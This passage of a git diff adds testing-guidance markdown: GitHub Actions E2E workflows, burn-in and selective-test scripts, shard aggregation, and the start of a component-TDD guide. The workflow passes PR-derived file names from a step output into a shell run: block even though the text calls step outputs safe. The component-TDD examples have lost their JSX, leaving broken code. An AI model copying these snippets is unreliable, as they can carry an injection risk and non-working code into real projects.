inputs only as quoted arguments. + +### Safe Contexts (safe from GitHub expression injection in run: blocks) + +- `${{ steps.*.outputs.* }}` — pre-computed by your own code +- `${{ matrix.* }}` — defined in workflow YAML +- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled +- `${{ secrets.* }}` — secret store, not user-injectable +- `${{ env.* }}` — already an env var + +> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks. + +--- + +## Pattern Examples + +### Example 1: GitHub Actions Workflow with Parallel Execution + +**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing. + +**Implementation**: + +```yaml +# .github/workflows/e2e-tests.yml +name: E2E Tests +on: + pull_request: + push: + branches: [main, develop] + +env: + NODE_VERSION_FILE: '.nvmrc' + CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} + +jobs: + install-dependencies: + name: Install & Cache Dependencies + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version-file: ${{ env.NODE_VERSION_FILE }} + cache: 'npm' + + - name: Cache node modules + uses: actions/cache@v4 + id: npm-cache + with: + path: | + ~/.npm + node_modules + ~/.cache/Cypress + ~/.cache/ms-playwright + key: ${{ env.CACHE_KEY }} + restore-keys: | + ${{ runner.os }}-node- + + - name: Install dependencies + if: steps.npm-cache.outputs.cache-hit != 'true' + run: npm ci --prefer-offline --no-audit + + - name: Install Playwright browsers + if: steps.npm-cache.outputs.cache-hit != 'true' + run: npx playwright install --with-deps chromium + + test-changed-specs: + name: Test Changed Specs First (Burn-In) + needs: install-dependencies + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for accurate diff + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version-file: ${{ env.NODE_VERSION_FILE }} + cache: 'npm' + + - name: Restore dependencies + uses: actions/cache@v4 + with: + path: | + ~/.npm + node_modules + ~/.cache/ms-playwright + key: ${{ env.CACHE_KEY }} + + - name: Detect changed test files + id: changed-tests + run: | + CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "") + echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT + echo "Changed specs: ${CHANGED_SPECS}" + + - name: Run burn-in on changed specs (10 iterations) + if: steps.changed-tests.outputs.changed_specs != '' + run: | + SPECS="${{ steps.changed-tests.outputs.changed_specs }}" + echo "Running burn-in: 10 iterations on changed specs" + for i in {1..10}; do + echo "Burn-in iteration $i/10" + npm run test -- $SPECS || { + echo "❌ Burn-in failed on iteration $i" + exit 1 + } + done + echo "✅ Burn-in passed - 10/10 successful runs" + + - name: Upload artifacts on failure + if: failure() + uses: actions/upload-artifact@v4 + with: + name: burn-in-failure-artifacts + path: | + test-results/ + playwright-report/ + screenshots/ + retention-days: 7 + + test-e2e-sharded: + name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }}) + needs: [install-dependencies, test-changed-specs] + runs-on: ubuntu-latest + timeout-minutes: 30 + strategy: + fail-fast: false # Run all shards even if one fails + matrix: + shard: [1, 2, 3, 4] + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version-file: ${{ env.NODE_VERSION_FILE }} + cache: 'npm' + + - name: Restore dependencies + uses: actions/cache@v4 + with: + path: | + ~/.npm + node_modules + ~/.cache/ms-playwright + key: ${{ env.CACHE_KEY }} + + - name: Run E2E tests (shard ${{ matrix.shard }}) + run: npm run test:e2e -- --shard=${{ matrix.shard }}/4 + env: + TEST_ENV: staging + CI: true + + - name: Upload test results + if: always() + uses: actions/upload-artifact@v4 + with: + name: test-results-shard-${{ matrix.shard }} + path: | + test-results/ + playwright-report/ + retention-days: 30 + + - name: Upload JUnit report + if: always() + uses: actions/upload-artifact@v4 + with: + name: junit-results-shard-${{ matrix.shard }} + path: test-results/junit.xml + retention-days: 30 + + merge-test-results: + name: Merge Test Results & Generate Report + needs: test-e2e-sharded + runs-on: ubuntu-latest + if: always() + steps: + - name: Download all shard results + uses: actions/download-artifact@v4 + with: + pattern: test-results-shard-* + path: all-results/ + + - name: Merge HTML reports + run: | + npx playwright merge-reports --reporter=html all-results/ + echo "Merged report available in playwright-report/" + + - name: Upload merged report + uses: actions/upload-artifact@v4 + with: + name: merged-playwright-report + path: playwright-report/ + retention-days: 30 + + - name: Comment PR with results + if: github.event_name == 'pull_request' + uses: daun/playwright-report-comment@v3 + with: + report-path: playwright-report/ +``` + +**Key Points**: + +- **Install once, reuse everywhere**: Dependencies cached across all jobs +- **Burn-in first**: Changed specs run 10x before full suite +- **Fail-fast disabled**: All shards run to completion for full evidence +- **Parallel execution**: 4 shards cut execution time by ~75% +- **Artifact retention**: 30 days for reports, 7 days for failure debugging + +--- + +### Example 2: Burn-In Loop Pattern (Standalone Script) + +**Context**: Reusable bash script for burn-in testing changed specs locally or in CI. + +**Implementation**: + +```bash +#!/bin/bash +# scripts/burn-in-changed.sh +# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch] + +set -e # Exit on error + +# Configuration +ITERATIONS=${1:-10} +BASE_BRANCH=${2:-main} +SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$' + +echo "🔥 Burn-In Test Runner" +echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" +echo "Iterations: $ITERATIONS" +echo "Base branch: $BASE_BRANCH" +echo "" + +# Detect changed test files +echo "📋 Detecting changed test files..." +CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "") + +if [ -z "$CHANGED_SPECS" ]; then + echo "✅ No test files changed. Skipping burn-in." + exit 0 +fi + +echo "Changed test files:" +echo "$CHANGED_SPECS" | sed 's/^/ - /' +echo "" + +# Count specs +SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs) +echo "Running burn-in on $SPEC_COUNT test file(s)..." +echo "" + +# Burn-in loop +FAILURES=() +for i in $(seq 1 $ITERATIONS); do + echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + echo "🔄 Iteration $i/$ITERATIONS" + echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + + # Run tests with explicit file list + if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then + echo "✅ Iteration $i passed" + else + echo "❌ Iteration $i failed" + FAILURES+=($i) + + # Save failure artifacts + mkdir -p burn-in-failures/iteration-$i + cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true + cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true + + echo "" + echo "🛑 BURN-IN FAILED on iteration $i" + echo "Failure artifacts saved to: burn-in-failures/iteration-$i/" + echo "Logs saved to: burn-in-log-$i.txt" + echo "" + exit 1 + fi + + echo "" +done + +# Success summary +echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" +echo "🎉 BURN-IN PASSED" +echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" +echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)" +echo "Changed specs are stable and ready to merge." +echo "" + +# Cleanup logs +rm -f burn-in-log-*.txt + +exit 0 +``` + +**Usage**: + +```bash +# Run locally with default settings (10 iterations, compare to main) +./scripts/burn-in-changed.sh + +# Custom iterations and base branch +./scripts/burn-in-changed.sh 20 develop + +# Add to package.json +{ + "scripts": { + "test:burn-in": "bash scripts/burn-in-changed.sh", + "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20" + } +} +``` + +**Key Points**: + +- **Exit on first failure**: Flaky tests caught immediately +- **Failure artifacts**: Saved per-iteration for debugging +- **Flexible configuration**: Iterations and base branch customizable +- **CI/local parity**: Same script runs in both environments +- **Clear output**: Visual feedback on progress and results + +--- + +### Example 3: Shard Orchestration with Result Aggregation + +**Context**: Advanced sharding strategy for large test suites with intelligent result merging. + +**Implementation**: + +```javascript +// scripts/run-sharded-tests.js +const { spawn } = require('child_process'); +const fs = require('fs'); +const path = require('path'); + +/** + * Run tests across multiple shards and aggregate results + * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging + */ + +const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4'); +const TEST_ENV = process.env.TEST_ENV || 'local'; +const RESULTS_DIR = path.join(__dirname, '../test-results'); + +console.log(`🚀 Running tests across ${SHARD_COUNT} shards`); +console.log(`Environment: ${TEST_ENV}`); +console.log('━'.repeat(50)); + +// Ensure results directory exists +if (!fs.existsSync(RESULTS_DIR)) { + fs.mkdirSync(RESULTS_DIR, { recursive: true }); +} + +/** + * Run a single shard + */ +function runShard(shardIndex) { + return new Promise((resolve, reject) => { + const shardId = `${shardIndex}/${SHARD_COUNT}`; + console.log(`\n📦 Starting shard ${shardId}...`); + + const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], { + env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex }, + stdio: 'pipe', + }); + + let stdout = ''; + let stderr = ''; + + child.stdout.on('data', (data) => { + stdout += data.toString(); + process.stdout.write(data); + }); + + child.stderr.on('data', (data) => { + stderr += data.toString(); + process.stderr.write(data); + }); + + child.on('close', (code) => { + // Save shard results + const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`); + try { + const result = JSON.parse(stdout); + fs.writeFileSync(resultFile, JSON.stringify(result, null, 2)); + console.log(`✅ Shard ${shardId} completed (exit code: ${code})`); + resolve({ shardIndex, code, result }); + } catch (error) { + console.error(`❌ Shard ${shardId} failed to parse results:`, error.message); + reject({ shardIndex, code, error }); + } + }); + + child.on('error', (error) => { + console.error(`❌ Shard ${shardId} process error:`, error.message); + reject({ shardIndex, error }); + }); + }); +} + +/** + * Aggregate results from all shards + */ +function aggregateResults() { + console.log('\n📊 Aggregating results from all shards...'); + + const shardResults = []; + let totalTests = 0; + let totalPassed = 0; + let totalFailed = 0; + let totalSkipped = 0; + let totalFlaky = 0; + + for (let i = 1; i <= SHARD_COUNT; i++) { + const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`); + if (fs.existsSync(resultFile)) { + const result = JSON.parse(fs.readFileSync(resultFile, 'utf8')); + shardResults.push(result); + + // Aggregate stats + totalTests += result.stats?.expected || 0; + totalPassed += result.stats?.expected || 0; + totalFailed += result.stats?.unexpected || 0; + totalSkipped += result.stats?.skipped || 0; + totalFlaky += result.stats?.flaky || 0; + } + } + + const summary = { + totalShards: SHARD_COUNT, + environment: TEST_ENV, + totalTests, + passed: totalPassed, + failed: totalFailed, + skipped: totalSkipped, + flaky: totalFlaky, + duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0), + timestamp: new Date().toISOString(), + }; + + // Save aggregated summary + fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2)); + + console.log('\n━'.repeat(50)); + console.log('📈 Test Results Summary'); + console.log('━'.repeat(50)); + console.log(`Total tests: ${totalTests}`); + console.log(`✅ Passed: ${totalPassed}`); + console.log(`❌ Failed: ${totalFailed}`); + console.log(`⏭️ Skipped: ${totalSkipped}`); + console.log(`⚠️ Flaky: ${totalFlaky}`); + console.log(`⏱️ Duration: ${(summary.duration / 1000).toFixed(2)}s`); + console.log('━'.repeat(50)); + + return summary; +} + +/** + * Main execution + */ +async function main() { + const startTime = Date.now(); + const shardPromises = []; + + // Run all shards in parallel + for (let i = 1; i <= SHARD_COUNT; i++) { + shardPromises.push(runShard(i)); + } + + try { + await Promise.allSettled(shardPromises); + } catch (error) { + console.error('❌ One or more shards failed:', error); + } + + // Aggregate results + const summary = aggregateResults(); + + const totalTime = ((Date.now() - startTime) / 1000).toFixed(2); + console.log(`\n⏱️ Total execution time: ${totalTime}s`); + + // Exit with failure if any tests failed + if (summary.failed > 0) { + console.error('\n❌ Test suite failed'); + process.exit(1); + } + + console.log('\n✅ All tests passed'); + process.exit(0); +} + +main().catch((error) => { + console.error('Fatal error:', error); + process.exit(1); +}); +``` + +**package.json integration**: + +```json +{ + "scripts": { + "test:sharded": "node scripts/run-sharded-tests.js", + "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js" + } +} +``` + +**Key Points**: + +- **Parallel shard execution**: All shards run simultaneously +- **Result aggregation**: Unified summary across shards +- **Failure detection**: Exit code reflects overall test status +- **Artifact preservation**: Individual shard results saved for debugging +- **CI/local compatibility**: Same script works in both environments + +--- + +### Example 4: Selective Test Execution (Changed Files + Tags) + +**Context**: Optimize CI by running only relevant tests based on file changes and tags. + +**Implementation**: + +```bash +#!/bin/bash +# scripts/selective-test-runner.sh +# Intelligent test selection based on changed files and test tags + +set -e + +BASE_BRANCH=${BASE_BRANCH:-main} +TEST_ENV=${TEST_ENV:-local} + +echo "🎯 Selective Test Runner" +echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" +echo "Base branch: $BASE_BRANCH" +echo "Environment: $TEST_ENV" +echo "" + +# Detect changed files (all types, not just tests) +CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD) + +if [ -z "$CHANGED_FILES" ]; then + echo "✅ No files changed. Skipping tests." + exit 0 +fi + +echo "Changed files:" +echo "$CHANGED_FILES" | sed 's/^/ - /' +echo "" + +# Determine test strategy based on changes +run_smoke_only=false +run_all_tests=false +affected_specs="" + +# Critical files = run all tests +if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then + echo "⚠️ Critical configuration files changed. Running ALL tests." + run_all_tests=true + +# Auth/security changes = run all auth + smoke tests +elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then + echo "🔒 Auth/security files changed. Running auth + smoke tests." + npm run test -- --grep "@auth|@smoke" + exit $? + +# API changes = run integration + smoke tests +elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then + echo "🔌 API files changed. Running integration + smoke tests." + npm run test -- --grep "@integration|@smoke" + exit $? + +# UI component changes = run related component tests +elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then + echo "🎨 UI components changed. Running component + smoke tests." + + # Extract component names and find related tests + components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//') + for component in $components; do + # Find tests matching component name + affected_specs+=$(find tests -name "*${component}*" -type f) || true + done + + if [ -n "$affected_specs" ]; then + echo "Running tests for: $affected_specs" + npm run test -- $affected_specs --grep "@smoke" + else + echo "No specific tests found. Running smoke tests only." + npm run test -- --grep "@smoke" + fi + exit $? + +# Documentation/config only = run smoke tests +elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then + echo "📝 Documentation/config files changed. Running smoke tests only." + run_smoke_only=true +else + echo "⚙️ Other files changed. Running smoke tests." + run_smoke_only=true +fi + +# Execute selected strategy +if [ "$run_all_tests" = true ]; then + echo "" + echo "Running full test suite..." + npm run test +elif [ "$run_smoke_only" = true ]; then + echo "" + echo "Running smoke tests..." + npm run test -- --grep "@smoke" +fi +``` + +**Usage in GitHub Actions**: + +```yaml +# .github/workflows/selective-tests.yml +name: Selective Tests +on: pull_request + +jobs: + selective-tests: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Run selective tests + run: bash scripts/selective-test-runner.sh + env: + BASE_BRANCH: ${{ github.base_ref }} + TEST_ENV: staging +``` + +**Key Points**: + +- **Intelligent routing**: Tests selected based on changed file types +- **Tag-based filtering**: Use @smoke, @auth, @integration tags +- **Fast feedback**: Only relevant tests run on most PRs +- **Safety net**: Critical changes trigger full suite +- **Component mapping**: UI changes run related component tests + +--- + +## CI Configuration Checklist + +Before deploying your CI pipeline, verify: + +- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached +- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min) +- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts +- [ ] **Parallelization**: Matrix strategy uses fail-fast: false +- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge +- [ ] **wait-on app startup**: CI waits for app (wait-on: '') +- [ ] **Secrets documented**: README lists required secrets (API keys, tokens) +- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci) + +## Integration Points + +- Used in workflows: `*ci` (CI/CD pipeline setup) +- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md` +- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins + +_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_ diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/component-tdd.md new file mode 100644 index 0000000..d14ba8f --- /dev/null +++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/component-tdd.md @@ -0,0 +1,486 @@ +# Component Test-Driven Development Loop + +## Principle + +Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality. + +## Rationale + +Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail. + +## Pattern Examples + +### Example 1: Red-Green-Refactor Loop + +**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality. + +**Implementation**: + +```typescript +// Step 1: RED - Write failing test +// Button.cy.tsx (Cypress Component Test) +import { Button } from './Button'; + +describe('Button Component', () => { + it('should render with label', () => { + cy.mount(; +}; + +// Run test: PASSES - Component renders and handles clicks + +// Step 3: REFACTOR - Improve implementation +// Add disabled state, loading state, variants +type ButtonProps = { + label: string; + onClick?: () => void; + disabled?: boolean; + loading?: boolean; + variant?: 'primary' | 'secondary' | 'danger'; +}; + +export const Button = ({ + label, + onClick, + disabled = false, + loading = false, + variant = 'primary' +}: ButtonProps) => { + return ( + + ); +}; + +// Step 4: Expand tests for new features +describe('Button Component', () => { + it('should render with label', () => { + cy.mount(